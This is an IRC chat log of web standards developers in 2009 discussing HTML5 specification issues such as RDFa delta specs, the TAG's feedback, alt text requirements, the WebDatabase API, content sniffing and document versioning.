"The Weakest Link" could be made into fun Web-related jokes, too.

[01:00:00.0000] <othermaciej>
hsivonen: apparently they want to do RDFa 1.1 which would spec both HTML and XHTML syntax

[01:01:00.0000] <othermaciej>
in a new working group solely for the purpose of RDFa

[01:01:01.0000] <othermaciej>
personally I think it makes more sense to just do that update than to make a delta spec first, but probably they wouldn't want the HTML WG to publish the eventual product

[01:02:00.0000] <hsivonen>
A WG solely for the purpose of X is like begging for Conway's Law-like effects

[01:04:00.0000] <Lachy>
hsivonen, could you explain what "Bank" refers to in whatever gameshow it comes from, and explain your analogy?

[01:05:00.0000] <Lachy>
I'm guessing it's not like a normal concept of a bank, or like the bank in monopoly, since that doesn't seem to make sense for your analogy

[01:06:00.0000] <hsivonen>
Lachy: on whatever show it comes from, the gameshow player can lose all the pending money won so far if (s)he answers wrong

[01:06:01.0000] <hsivonen>
Lachy: one time during the game, the player can say "bank" to save all the money so far won so that a subsequent wrong answer will roll back to that point and all isn't lost

[01:07:00.0000] <Lachy>
"... However, before their question is asked, a contestant can say "BANK" and the money earned thus far is safely stored and a new chain is initiated from scratch." -- http://en.wikipedia.org/wiki/The_Weakest_Link

[01:08:00.0000] <Lachy>
I remember that from the failed series of the weaest link we had briefly in Australia

[01:09:00.0000] <Lachy>
I can't believe the show is still running in the UK. It was rubbish.

[01:09:01.0000] <Philip`>
(Saying "bank" also resets the exponentially-growing amount of money you win per question)

[01:10:00.0000] <Philip`>
I guess in Australia you didn't have Anne Robinson

[01:10:01.0000] <Lachy>
no idea who she is

[01:10:02.0000] <Philip`>
That's the problem, then

[01:10:03.0000] <hsivonen>
Lachy: the format relies heavily on the UK host being good at being mean on stage.

[01:11:00.0000] <Lachy>
we had Cornelia Frances, a former actor from Home and Away.

[01:11:01.0000] <Lachy>
most people objected to the concept of the host being rude to the contestants

[01:14:00.0000] <Mrmil>
/me has to solve a stupid dillema again: save two bigger images or three smaller images and add an extra div? CSS 2 just wants HTML to be bloated. :( Ah well, sorry for the whine, just had to let it out...

[01:18:00.0000] <othermaciej>
hsivonen: I'm not sure it's all political maneuvering, because Manu says that his spec is supposed to change processing rules for XHTML too, even though it is a delta spec and not a full spec

[01:19:00.0000] <othermaciej>
so if he's sincere in that, RDFa in XHTML is not any more locked down with this approach

[01:20:00.0000] <othermaciej>
that being said, I still think updating the spec is more fruitful than creating a delta spec

[01:22:00.0000] <othermaciej>
I can

[01:23:00.0000] <othermaciej>
er

[01:23:01.0000] <othermaciej>
I can't help but think of XHTML 1.1 and how it ended up a delta of a delta of a delta

[01:23:02.0000] <othermaciej>
(not sure I even have enough deltas there)

[03:20:00.0000] <annevk2>
oh man, discussing /fakepath/ again

[03:20:01.0000] <annevk2>
geez

[03:21:00.0000] <jgraham>
.me wonders if there has ever been a "delta" spec that worked well

[03:22:00.0000] <annevk2>
prolly not

[04:28:00.0000] <zcorpan_>
gsnedders: do you intend to work on web dom core anything this month?

[04:28:01.0000] <gsnedders_>
zcorpan_: A bit, not much. I don't intend on doing much web stuff this month in general.

[04:37:00.0000] <zcorpan_>
gsnedders_: ok

[04:40:00.0000] <annevk2>
the TAG is making a case: http://www.w3.org/2001/tag/2009/09/TagHTMLIssues.html

[04:54:00.0000] <hsivonen>
/me finds a future-proofing argument: http://krijnhoetmer.nl/irc-logs/whatwg/20090903#l-147

[04:55:00.0000] <annevk2>
ah yeah, I was trying to track that one down to point it out to you

[04:56:00.0000] <annevk2>
it seems they might be misinformed on how those things work

[05:18:00.0000] <zcorpan_>
"Relating to the above, there is also the provision in 3.2.3(3.3.3) that global attributes "may be specified on all HTML elements (even those not defined in this specification)"; this strongly suggests some sort of extensibility at the element level."

[05:22:00.0000] <annevk2>
point?

[05:24:00.0000] <zcorpan_>
from TagHTMLIssues

[05:25:00.0000] <annevk2>
what's the point of highlighting it here

[05:25:01.0000] <annevk2>
:)

[05:26:00.0000] <gsnedders>
zcorpan_: http://hg.gsnedders.com/web-dom-core/ fwiw

[05:26:01.0000] <Lachy>
gsnedders, are you taking over web dom core from zcorpan_?

[05:27:00.0000] <gsnedders>
Lachy: I have some intention to write a test suite for it, whether I take over editing of the spec is another question. I'll probably make some edits, but nothing that involves changing much text :P

[05:27:01.0000] <zcorpan_>
annevk2: i find it interesting that they're reading between the lines

[05:28:00.0000] <zcorpan_>
gsnedders: cool

[05:28:01.0000] <annevk2>
zcorpan_, ah, yeah, maybe they're still used to all those specifications where that is sort of required if you want to truly understand them :p

[05:31:00.0000] <hsivonen>
zcorpan_: I thought it was no secret that HTML5 is written to allow deltaspecs

[05:32:00.0000] <hsivonen>
zcorpan_: e.g. if <keygen> were spun off the language the TAG quotes would make a proper delta spec easier

[05:32:01.0000] <hsivonen>
zcorpan_: maybe the TAG isn't considering this use case for the quoted spec language

[05:38:00.0000] <zcorpan_>
hsivonen: the words "decentralized extensibility" are present in TagHTMLIssues

[05:39:00.0000] <zcorpan_>
more specifically in the point above what i quoted

[05:50:00.0000] <Hixie>
hsivonen: could you explain what the problem you are referring to in http://lists.w3.org/Archives/Public/public-html/2009Aug/1433.html is?

[05:53:00.0000] <hsivonen>
Hixie: the problem is that you have designed a feedback loop from validators to authors. however, the tool developer sits in between and deflects the feedback before it reaches the author

[05:53:01.0000] <hsivonen>
Hixie: and in doing so, probably violates ATAG 2

[05:54:00.0000] <Hixie>
"deflects the feedback"?

[05:54:01.0000] <annevk2>
i'd love for the TAG to replace decentralized extensibility with XML namespace-based extensibility because that's what they want

[05:54:02.0000] <hsivonen>
Hixie: makes the tool generate output that makes the validator stay silent

[05:54:03.0000] <Hixie>
(let's pretend for the sake of this discussion that I don't care about ATAG2 and only care about making editors help authors create accessible documents.)

[05:54:04.0000] <Hixie>
why would a tool generate output that makes the validator stay silent?

[05:55:00.0000] <hsivonen>
Hixie: do you believe that <img alt=""> for a critical content image is an epsilon less accessible than <img> (if that's the dichotomy you have to work with)?

[05:55:01.0000] <Hixie>
hsivonen: yes.

[05:56:00.0000] <hsivonen>
Hixie: because the tool developer thinks that the validation is about syntax and that it is the job of the tool to hide the syntax from the user of the tool

[05:56:01.0000] <hsivonen>
Hixie: also, because the tool developer think that the tool will get better reviews if it produces syntactically errorless output

[05:56:02.0000] <Hixie>
so what you're saying is you want tools to write documents that trigger different validation modes than hand-writing authors?

[05:57:00.0000] <Hixie>
would tool developers not feel that they had done their part if they warned the user that their documents were non-conforming when saving if their user hasn't provided suitable information?

[05:57:01.0000] <Philip`>
/me presumes it should be possible to test that assertion by looking at current HTML editing tools, and seeing what lengths they go to to produce valid output (vs invalid output that works equally well (or better) in practice)

[05:57:02.0000] <hsivonen>
Hixie: yes if validators are required to show messages to hand-writing authors that are motivated by WCAG and not by strictly syntactic matters

[05:57:03.0000] <Philip`>
(By "that assertion" I mean one several lines earlier)

[05:58:00.0000] <Philip`>
/me wonders if anyone has already done that looking and summarised the results

[05:58:01.0000] <Hixie>
hsivonen: i don't understand what your last sentence means

[05:58:02.0000] <hsivonen>
Hixie: evidently, BlueGriffon and iWeb developers have felt the need to output stuff that silences validators

[05:58:03.0000] <Hixie>
hsivonen: ("motivated by WCAG"?)

[05:59:00.0000] <hsivonen>
Hixie: substitute with "motivated by promoting accessibility awareness"

[05:59:01.0000] <hsivonen>
Hixie: or whatever awareness that isn't a strictly syntactic matter

[06:00:00.0000] <Hixie>
hsivonen: ok. so, let's reintroduce the <meta name=generator> hack that made the validation rules different for documents from editors.

[06:00:01.0000] <hsivonen>
Hixie: that would be one way of removing my ATAG 2 contradiction concern

[06:02:00.0000] <hsivonen>
Hixie: as I've said before, I've decided not to bikeshed the mechanism, so I'll refrain from discussing whether I prefer that hack or the missing marker approach mentioned by the WAI CG

[06:02:01.0000] <Hixie>
k

[06:09:00.0000] <Lachy>
wait, perhaps I'm missing something. But what issue specifically does the spec require validators to flag, which is motivated by promoting accessibility awareness?

[06:09:01.0000] <hsivonen>
Lachy: alt

[06:09:02.0000] <Lachy>
since when is alt now required?

[06:10:00.0000] <hsivonen>
Lachy: since quite a while now

[06:10:01.0000] <hsivonen>
Lachy: as in since months ago

[06:11:00.0000] <hsivonen>
Lachy: except when there are certain larger structures that aren't practical for WYSIWYG tools to treat as units

[06:13:00.0000] <mpilgrim_>
http://validator.w3.org/check?uri=http://www.w3.org/2001/tag/2009/09/TagHTMLIssues.html&charset=(detect+automatically)&doctype=Inline&group=0 is amusing

[06:14:00.0000] <Dashiva>
How surprising

[06:15:00.0000] <Lachy>
hsivonen, it still says it can be omitted, dependent on meeting other specified conditions

[06:16:00.0000] <hsivonen>
Lachy: see "except when there are certain larger structures that  aren't practical for WYSIWYG tools to treat as units"

[06:19:00.0000] <Lachy>
hsivonen, I can't find that phrase anywhere in the spec

[06:19:01.0000] <hsivonen>
Lachy: it's my phrase here on IRC

[06:20:00.0000] <Lachy>
oh, oops

[06:20:01.0000] <mpilgrim_>
more from TagHTMLIssues: "I was surprised to see that document.write() is not supported when parsing the XML serialization. This seems to put the nail in the coffin of XML as a serialization format for colloquial HTML."

[06:20:02.0000] <mpilgrim_>
i love how they're just noticing this now

[06:21:00.0000] <hsivonen>
mpilgrim_: wow

[06:21:01.0000] <Lachy>
It does say "As a last resort, implementors should either set the alt  attribute to the empty string, under the assumption that the image is a purely decorative image that doesn't add any information but is still specific to the surrounding content, or omit the alt  attribute altogether, under the assumption that the image is a key part of the content."

[06:21:02.0000] <Lachy>
I'm guessing that's where you see the contradiction since it's telling authoring tools that they can output non-conforming markup?

[06:21:03.0000] <hsivonen>
Lachy: seems like a contradiction to me

[06:21:04.0000] <Lachy>
... or validator-silencing alt=""

[06:22:00.0000] <annevk2>
mpilgrim_, even more surprising is that they'd like the XML syntax to become turing-complete too where they did not like that when they found out about the HTML syntax being that

[06:23:00.0000] <mpilgrim_>
"...my intuition is that it could be done reasonably cleanly"

[06:23:01.0000] <Dashiva>
mpilgrim_: Maybe they want to kill off the off-the-shelf parser

[06:23:02.0000] <Lachy>
dammit. I don't like how the spec has slowly gone from the sensible requirements to allow alt to be omitted, to the now contradictory requirements that make accessibility people happy. :-(

[06:23:03.0000] <Dashiva>
That would make transitioning to XML5 a lot easier

[06:25:00.0000] <hsivonen>
mpilgrim_: I can assure you that even trying to implement document.write cleanly leads to dirtiness

[06:25:01.0000] <annevk2>
ah, XML5; still a good idea, but unclear whether it's worth the effort

[06:27:00.0000] <mpilgrim_>
willful violations, global version identifiers

[06:27:01.0000] <mpilgrim_>
it just goes on and on

[06:28:00.0000] <mpilgrim_>
it's like a laundry list of all the things the WHATWG has rejected in the past five years

[06:28:01.0000] <hsivonen>
Am I missing something or is WebKit non-compliant if you try to use document.open() merely to flip the HTMLness bit?

[06:28:02.0000] <Hixie>
the spec just changed such that the bit doesn't flip

[06:29:00.0000] <Hixie>
and webkit is compliant to neither the old text nor the new text

[06:29:01.0000] <hsivonen>
whoa

[06:29:02.0000] <Hixie>
(it throws, now)

[06:29:03.0000] <hsivonen>
Hixie: why?

[06:29:04.0000] <Hixie>
bz asked me to change it

[06:29:05.0000] <hsivonen>
ok

[06:29:06.0000] <annevk2>
no, jonas did

[06:29:07.0000] <mpilgrim_>
"It may be that this 'willful violation' describes current web practice, but bringing the web into coherence with other applications should be a priority, and efforts made to reduce the causes of interoperability." yes, please go do that. and come back when you're bitter and disillusioned.

[06:29:08.0000] <Hixie>
my bad

[06:29:09.0000] <Hixie>
jonas asked

[06:30:00.0000] <mpilgrim_>
"HTML 5 calls for user agents to ignore normative Content-type in certain cases."

[06:30:01.0000] <mpilgrim_>
sigh

[06:31:00.0000] <mpilgrim_>
i can't go on, it's just too depressing

[06:31:01.0000] <Lachy>
Hixie, in webdatabase, the arguments parameter in executeSql() is, unfortunately, very prone to accidental omission. I've done it several times now, and each time I fail to detect that as that as the actual cause of the error

[06:32:00.0000] <Hixie>
Lachy: suggested solutino?

[06:32:01.0000] <Lachy>
I don't know yet. I'm just whinging about how badly the API has been designed.

[06:34:00.0000] <Hixie>
let me know when you have a better design :-P

[06:34:01.0000] <Hixie>
i don't think it's that badly designed, it's a very constrained space which doesn't leave one with many options.

[06:37:00.0000] <Lachy>
so the issue is that when a statement doesn't require variable substitutions, it should be possible to invoke executeSql() by providing just a SQL statement and a callback, without having to also specify an empty array in between.

[06:38:00.0000] <annevk2>
I don't think we should do that

[06:38:01.0000] <Lachy>
so maybe if the variable substituion step was somehow separated from the executeSql call

[06:38:02.0000] <Hixie>
we could make the argument optional

[06:38:03.0000] <Hixie>
(well, overload the method with two calls)

[06:38:04.0000] <Hixie>
since you can distinguish and array from a function

[06:38:05.0000] <Lachy>
annevk2, from experince, I know how much it sucks to have to remember to write the null in the middle of executeSql("SELECT * FROM t", null, callback)

[06:38:06.0000] <annevk2>
the whole reason it was required was to make sure people would not do their own thing

[06:39:00.0000] <Lachy>
Hixie, I know, that's the problem

[06:39:01.0000] <annevk2>
I don't think we should be making too many changes at this point based on limited feedback

[06:39:02.0000] <annevk2>
We need more Web developers to give feedback on the API first, imo

[06:40:00.0000] <Lachy>
annevk2, the problem is, once we've shipped and developers start using it, it's too late to fix problems like this

[06:40:01.0000] <annevk2>
no it's not

[06:40:02.0000] <annevk2>
making an argument optional is always possible later and there's no universal adoption of the API yet anyway

[06:44:00.0000] <Lachy>
Hixie, our developer said he's not comfortable with making the arguments parameter optional

[06:44:01.0000] <Hixie>
Lachy: well then i don't know what else we can do

[06:44:02.0000] <Lachy>
but he's fixed our implementation so that at least we get a more meaningful error message than before

[06:45:00.0000] <annevk2>
i think the reason for having it required was justified when the API was initially designed and that's mostly the reason I'd not like to change; at least not until more feedback demonstrates it's an issue

[06:48:00.0000] <Lachy>
Hixie, also, can you make the webdatabase spec clearer in step 10 of the processing model, where it says:

[06:48:01.0000] <Hixie>
yes, but send mail or file a bug

[06:48:02.0000] <Lachy>
ok, will do

[06:52:00.0000] <annevk2>
mpilgrim_, you may want to read http://www.w3.org/mid/OFCB71EFE4.1B6A31BE-ON85257624.004EB850-85257624.005491D2⊙lc (near the end)

[06:52:01.0000] <annevk2>
mpilgrim_, no need to get upset just yet it seems ;)

[06:55:00.0000] <Philip`>
But getting upset is fun!

[06:56:00.0000] <annevk2>
you know what else is fun? charset stats :p

[06:57:00.0000] <takkaria>
some of the TAG's feedback reminds me of Hixie's "Writnig specifications: knowing when to stop" post

[06:57:01.0000] <Hixie>
heh

[06:58:00.0000] <Philip`>
annevk2: You seem to be obsessed :-p

[06:59:00.0000] <Philip`>
/me hopes he can find all his old scripts and stuff

[06:59:01.0000] <takkaria>
Hixie: though amusingly, one of the the TAG's comments is that in 3.2.5.1.7, the spec says "pointing device" without a definition, and that's one of the things you mention in your blog post as needing a definition

[06:59:02.0000] <Hixie>
heh

[07:47:00.0000] <hsivonen>
the paremeter order in replaceChild always confuses me

[07:50:00.0000] <hsivonen>
whoa! Gecko puts a doctype in about:blank!

[07:50:01.0000] <Philip`>
A standards-mode doctype?

[07:50:02.0000] <hsivonen>
quirks

[07:52:00.0000] <Philip`>
hsivonen: I find it easy to remember that the new element is always the first argument in node-adding DOM methods (replaceChild, insertBefore, appendChild)

[07:53:00.0000] <Dashiva>
I was going to say that

[07:53:01.0000] <Dashiva>
/me can never reach Philip`

[07:54:00.0000] <gsnedders>
Dashiva: Blatantly Philip` is better than you

[07:54:01.0000] <Dashiva>
I'm not even within comparison range

[07:55:00.0000] <hsivonen>
where's the about blank draft these days?

[07:57:00.0000] <Philip`>
Dashiva: It is as if you and I were in a poset

[08:00:00.0000] <jgraham>
heycam: WebIDL could do with hyperlinking "implements the interface" to some definition of what that means

[08:03:00.0000] <Lachy>
hsivonen, I started documenting the requested validator warnings in the wiki http://wiki.whatwg.org/wiki/Validator.nu_Useful_Warning_Requests

[08:06:00.0000] <Lachy>
hsivonen, http://www.ietf.org/id/draft-holsten-about-uri-scheme-02.txt

[08:07:00.0000] <Lachy>
hsivonen, it defines that about:blank should be an empty resource

[08:07:01.0000] <hsivonen>
Lachy: thanks

[08:08:00.0000] <Lachy>
the fact that Gecko included a DOCTYPE was known, but wasn't considered an issue

[08:08:01.0000] <hsivonen>
filed https://bugzilla.mozilla.org/show_bug.cgi?id=514412

[08:09:00.0000] <Lachy>
/me will go through the list of diffs here http://wiki.whatwg.org/wiki/HTML_vs._XHTML and fill out the list of potential warnings later

[08:28:00.0000] <TabAtkins>
/me just built his first non-trivial DFA stream parser.  Except for two typos, no bugs on the first try!

[08:28:01.0000] <TabAtkins>
It turns out CSV files are a regular language.

[08:28:02.0000] <Philip`>
No *known* bugs?

[08:28:03.0000] <TabAtkins>
Pfft, Philip`.  Have faith.  This is me we're talking about.

[08:29:00.0000] <hsivonen>
looking at http://en.wikipedia.org/wiki/XHTML#Motivation, the stated motivations are all "wrong tomorrow" material

[08:30:00.0000] <Dashiva>
Imagine how awesome the world could've been if XML wasn't draconian

[08:32:00.0000] <TabAtkins>
Sigh, I know, right?

[08:32:01.0000] <hsivonen>
http://en.wikipedia.org/wiki/XHTML#Valid_XHTML_documents doesn't look quite encyclopedic to me

[08:32:02.0000] <Philip`>
Dashiva: I find it hard to imagine how it would be more awesome than it it is now

[08:33:00.0000] <Philip`>
Seems it'd be very similar except with more invalid XML documents

[08:34:00.0000] <zcorpan_>
hsivonen: it seems to be repeating information from the xhtml 1.0 spec and the mimetypes note

[08:35:00.0000] <hsivonen>
http://en.wikipedia.org/wiki/HTML#Current_flavors_of_HTML isn't quite up to HTML5 truthiness

[08:36:00.0000] <hsivonen>
zcorpan_: the article also quotes marketing statements from XHTML specs without associated criticism

[08:36:01.0000] <Dashiva>
Philip`: We wouldn't have YSODs

[08:38:00.0000] <Lachy>
hsivonen, the messiness of the wikipedia articles isn't really surprising. That's always seems to be the case with articles about topics I know anything about.

[08:39:00.0000] <Lachy>
Generally, the perceived accuracy of a wikipedia article is inversely proportional to the level of knowledge possessed about the topic.

[08:39:01.0000] <TabAtkins>
/me wonders if stream parsers are normally this verbose.

[08:39:02.0000] <hsivonen>
Lachy: the same goes for newspapers

[08:39:03.0000] <TabAtkins>
I've got about 4 pages of text describing a really simply DFA with only a single instance of single-character lookahead, and no lookbehind.

[08:40:00.0000] <TabAtkins>
hsivonen: The difference is that parts of the wikipedia article may have actually been written by someone with knowledge.

[08:41:00.0000] <zcorpan_>
hsivonen: what was the conclusion for lookupNamespaceURI and setting innerHTML in XML?

[08:41:01.0000] <Philip`>
TabAtkins: I guess they'd normally be described in some concise grammar format

[08:42:00.0000] <TabAtkins>
Philip`, and then simply handed to a generic parser engine?  Makes sense.

[08:42:01.0000] <TabAtkins>
Mine's lots of linefeeds and "mode=IN_HEADER_START_LINE" stuff.

[08:43:00.0000] <Philip`>
TabAtkins: Usually handed to a parser generator, which generates the (verbose, hard-to-read) parser code

[08:43:01.0000] <Philip`>
like in Yacc or ANTLR or whatever

[08:44:00.0000] <hsivonen>
zcorpan_: can't remember any open innerHTML issue. no conclusion on lookupNamespaceURI

[08:44:01.0000] <zcorpan_>
hmm, the spec now has <meta name=generator> again

[08:45:00.0000] <zcorpan_>
i thought we agreed a few years ago that it was a bad idea

[08:45:01.0000] <zcorpan_>
hsivonen: ok

[08:45:02.0000] <TabAtkins>
Makes sense.  Oh look, the RFC even has an ABNF grammar (though one that appears to not specify whitespace appropriately for legacy content, so win for me?).

[08:45:03.0000] <zcorpan_>
hsivonen: html5 uses lookupNamespaceURI for setting innerHTML

[09:07:00.0000] <TabAtkins>
Okay, there was one bug.  Damn you, Philip`.  It's fixed, and works everywhere.

[09:11:00.0000] <Philip`>
There was one (now-)*known* bug?

[09:11:01.0000] <TabAtkins>
I refuse to believe there are any more bugs.  ^_^  The value of test-suites has been confirmed, however.

[09:12:00.0000] <jgraham>
I refuse to believe that there are no namespace-aware XML processing libraries avaliable for perl

[09:16:00.0000] <mpilgrim_>
well, noah seems to be reading our chatlogs

[09:16:01.0000] <mpilgrim_>
he responded to my criticisms and fixed his invalid markup

[09:17:00.0000] <mpilgrim_>
now for some constructive feedback:

[09:18:00.0000] <mpilgrim_>
people who have tried to implement document.write in text/html have said that it would be non-trivial to implement it in application/xhtml+xml

[09:19:00.0000] <mpilgrim_>
HTML 5 uses the term "URL" because that's what everyone in the world uses (outside a few spec wonks in the W3C and IETF). the reason it doesn't currently reference WebAddr is because WebAddr is broken in ways that have been commented on publicly

[09:20:00.0000] <mpilgrim_>
HTML 5 calls for user agents to ignore normative Content-Type in certain cases because this is required to handle existing web content

[09:20:01.0000] <mpilgrim_>
all attempts have been made to reduce the amount of sniffing going on

[09:21:00.0000] <mpilgrim_>
(see adam barth's paper on the subject, and followup mozilla bugs where he successfully argued for reducing the amount of content sniffing)

[09:21:01.0000] <annevk3>
it's somewhat amusing how this feedback loop works

[09:21:02.0000] <cardona507>
is the html wg telcon tonight?

[09:21:03.0000] <annevk3>
yes

[09:21:04.0000] <AryehGregor>
hsivonen, I fixed up the beginning of the XHTML article a bit, until I got bored.

[09:22:00.0000] <cardona507>
Thanks annevk3 - 9:00 pm San Fransisco time?

[09:22:01.0000] <mpilgrim_>
the remaining sniffing rules are required to remain compatible with existing web content

[09:22:02.0000] <annevk3>
cardona507, 6PM Amsterdam time?

[09:22:03.0000] <annevk3>
s/?//

[09:22:04.0000] <mpilgrim_>
nobody likes the situation, least of all me, who has been an outspoken opponent of content sniffing for years

[09:22:05.0000] <annevk3>
cardona507, it's in a different channel though, irc.w3.org:80, #html-wg

[09:22:06.0000] <mpilgrim_>
but given that sniffing is going to occur, it is infinitely better to have it documented than undocumented

[09:23:00.0000] <cardona507>
thanks

[09:23:01.0000] <AryehGregor>
mpilgrim_, the Content-Type headers are usually generated on the server side by content sniffing anyway . . . or worse, just looking at the file extension.

[09:23:02.0000] <Philip`>
jgraham: There is the admittedly obscure XML::Parser module, which can be namespace aware

[09:24:00.0000] <AryehGregor>
So ignoring the Content-Type in those cases isn't really increasing the number of files with their content type sniffed, it's just making it more accurate.  :)

[09:24:01.0000] <AryehGregor>
(of course, sometimes the server really *does* mean what it says, but you can't really tell . . .)

[09:24:02.0000] <mpilgrim_>
well, that's the Big Lie, that the server "knows" more about the content than the client

[09:24:03.0000] <AryehGregor>
*Sometimes* it does.  But often not.

[09:24:04.0000] <jgraham>
Philip`: Was that sarcasm?

[09:25:00.0000] <AryehGregor>
The client has to know more about what format the content is actually in, because it's the only one that actually has to render it.

[09:25:01.0000] <mpilgrim_>
IIRC, it took several years to get Apache to stop defaulting unknown content types to text/plain

[09:25:02.0000] <mpilgrim_>
by which time it was too late

[09:25:03.0000] <Dashiva>
So many specs written before the days of shared hosting

[09:25:04.0000] <AryehGregor>
If Content-Type had, from the beginning, been used for "I don't care what type this actually is, but don't treat it as anything other than type X", rather than "My best guess is this is actually a file of type X", it might actually be useful today.

[09:26:00.0000] <mpilgrim_>
"bringing the web into coherence with other applications" is impossible

[09:26:01.0000] <AryehGregor>
(it would have to be entirely optional, too, of course)

[09:26:02.0000] <mpilgrim_>
a fool's errand

[09:26:03.0000] <mpilgrim_>
much better to change the specs to reflect reality

[09:26:04.0000] <mpilgrim_>
html 5 is the first in what will hopefully become a long series of descriptive specs

[09:27:00.0000] <mpilgrim_>
"efforts made to reduce the causes of interoperability" this is in fact what html 5 is all about

[09:27:01.0000] <AryehGregor>
It's a good idea to change reality to reflect the specs, but only if you can, and clearly for web content we can't.

[09:27:02.0000] <AryehGregor>
There's just too much of it, too scattered, much copy-pasted dating back to the dawn of time.

[09:27:03.0000] <mpilgrim_>
see also, the entire parsing section and the entire error handling algorithm

[09:28:00.0000] <mpilgrim_>
"the practice of importing other specifications prevents the normal evolution of standards" i actually agree with this

[09:28:01.0000] <Philip`>
jgraham: Yes

[09:29:00.0000] <Philip`>
(You do have to pass a parameter to make it act in a namespace-aware way, though)

[09:31:00.0000] <Philip`>
jgraham: Oh, but Shane said "DOM implementation" rather than "XML parser"

[09:31:01.0000] <Philip`>
(and XML::Parser is streaming Expat events)

[09:31:02.0000] <mpilgrim_>
"in-band global version identifiers, if new implementations handle them reasonably, may be useful for (a) authoring applications that want to track versions used for authoring (b) informative error handling when applications encounter constructs that are apparently 'in error'"  in-band global version identifiers are never going to happen. there was a big discussion about this when microsoft proposed it. there was another big dis

[09:31:03.0000] <mpilgrim_>
about this recently w/larry masinter.

[09:31:04.0000] <mpilgrim_>
it appears to be one of those zombie ideas that can never die

[09:32:00.0000] <Dashiva>
there was another big dis<cut>

[09:32:01.0000] <mpilgrim_>
there was a big discussion about this when microsoft proposed it

[09:32:02.0000] <mpilgrim_>
there was another discussion recently w/larry masinter

[09:33:00.0000] <mpilgrim_>
authoring applications can already track versions with their own meta tags

[09:33:01.0000] <mpilgrim_>
not sure which applications would use a global version identifier when they encounter errors

[09:34:00.0000] <mpilgrim_>
since the error handling is precisely defined for UAs, i assume this refers to conformance checkers

[09:34:01.0000] <Dashiva>
There's this story that some people might want to author for obsolete versions

[09:34:02.0000] <mpilgrim_>
in which case, they should check against the latest version of the spec that they are comfortable checking against

[09:35:00.0000] <jgraham>
Philip`: XML::LibXML or XML::GDOME?

[09:35:01.0000] <TabAtkins>
Dashiva: Yeah, I've heard that.  Do people think that the *parsers* want to care about obsolete versions, at least any more than they're currently forced to?

[09:36:00.0000] <mpilgrim_>
re: "other applicable specifications" as ian has explained to the RDF people, this is just making explicit something which has always been implicit in previous versions of HTML

[09:36:01.0000] <mpilgrim_>
the world decides which other specifications are applicable

[09:36:02.0000] <mpilgrim_>
it's impossible to know in advance

[09:37:00.0000] <mpilgrim_>
and it's impossible to set rules in advance

[09:37:01.0000] <mpilgrim_>
the people who think this is madness go strangely quiet when you point out that it's already happened multiple times, with markup they're quite fond of

[09:38:00.0000] <mpilgrim_>
as a concrete example, hsivonen's validator checked for HTML5+ARIA for months (years?) before ARIA was integrated into the HTML 5 specification

[09:38:01.0000] <mpilgrim_>
the hand that rocks the validator is the hand that rules the world

[09:41:00.0000] <Philip`>
jgraham: At least LibXML exposes namespace information

[09:42:00.0000] <annevk3>
/me wonders whether to reply to Shane's email with "I thought you'd never ask." or something like that

[09:46:00.0000] <MikeSmith>
hsivonen: I've been looking at v.nu code to see if it does any special microsyntax/datatype checking on the values of data-* attributes, but so far I find none. so it's essentially allowing any string? as with, e.g., the style attribute?

[09:46:01.0000] <mpilgrim_>
(sources follow)

[09:47:00.0000] <mpilgrim_>
http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Jul/0091.html re: which specifications are "applicable" to extend HTML 5

[09:47:01.0000] <TabAtkins>
Hmm.  I wonder what the security context is of pages defined by data URIs.

[09:47:02.0000] <mpilgrim_>
and http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Jul/0096.html

[09:47:03.0000] <mpilgrim_>
and http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Jul/0097.html

[09:47:04.0000] <TabAtkins>
Hell, for that matter I wonder what the behavior of relative URIs in a data URI is...

[09:47:05.0000] <TabAtkins>
/me goes to test

[09:48:00.0000] <annevk3>
MikeSmith, it should be like that

[09:48:01.0000] <MikeSmith>
annevk3: OK, thanks

[09:49:00.0000] <annevk3>
MikeSmith, there are only constraints on what comes in place of the *

[09:49:01.0000] <mpilgrim_>
and http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Jul/0139.html

[09:50:00.0000] <MikeSmith>
annevk3: yeah, so as far as I can see, the spec itself does not state anything at all about constraints on the value of data-* attributes, right? (as opposed to the names)

[09:51:00.0000] <mpilgrim_>
adam barth's groundbreaking research into content sniffing: http://www.adambarth.com/papers/2009/barth-caballero-song.pdf

[09:52:00.0000] <TabAtkins>
The values of data-* should be completely unconstrained, subject to the obvious parsing constraints, and the idea that data-* attributes should be page-local data, not a means to expose metadata to the wider web.

[09:53:00.0000] <mpilgrim_>
microsoft's versioning proposal: http://lists.w3.org/Archives/Public/public-html/2007Apr/0612.html

[09:53:01.0000] <mpilgrim_>
ian's response: http://lists.w3.org/Archives/Public/public-html/2007Apr/0637.html

[09:53:02.0000] <MikeSmith>
TabAtkins: thanks. just asking if there if the spec itself says anything at all about it. I couldn't find anything, just wanted to confirm 

[09:54:00.0000] <mpilgrim_>
surrounding discussion about versioning: http://lists.w3.org/Archives/Public/public-html/2007Apr/thread.html#msg612

[09:56:00.0000] <mpilgrim_>
most recent discussion about versioning: http://lists.w3.org/Archives/Public/public-html/2009Aug/0274.html and followups

[09:56:01.0000] <annevk3>
MikeSmith, right

[09:56:02.0000] <annevk3>
MikeSmith, maybe it should

[09:56:03.0000] <annevk3>
mpilgrim_, I hope you keep track of these notes for your book or a blog post

[09:56:04.0000] <mpilgrim_>
that's what chatlogs are for!

[09:56:05.0000] <annevk3>
mpilgrim_, IRC archeology is amusing admittedly

[09:57:00.0000] <mpilgrim_>
more links on versioning: http://lists.w3.org/Archives/Public/public-html/2009Aug/1178.html

[09:57:01.0000] <mpilgrim_>
and pretty much everything linked from http://www.w3.org/html/wg/tracker/issues/4

[09:58:00.0000] <MikeSmith>
annevk3: yeah, would help if the spec said something explicit about it. guess I'll file a bug

[09:58:01.0000] <sayrer>
mpilgrim_: to be fair, IE does attempt some versioning

[09:58:02.0000] <mpilgrim_>
yes, their X-UA-Compatible marker

[09:58:03.0000] <sayrer>
e.g. you only get their native JSON object if you get IE8 into IE8 mode using whatever lucky charm triggers it

[10:00:00.0000] <mpilgrim_>
here's the definition of "lucky charm": http://hsivonen.iki.fi/doctype/ie8-mode.png

[10:00:01.0000] <TabAtkins>
sayrer: Yeah, and that sucks.  >_<  I have to negotiate with the stupid browser to make it use the latest engine.

[10:00:02.0000] <mpilgrim_>
i think everyone who says versioning is a good idea should make that flowchart their desktop wallpaper

[10:00:03.0000] <sayrer>
well, Firefox broke Facebook in betas when I added JSON. IE didn't.

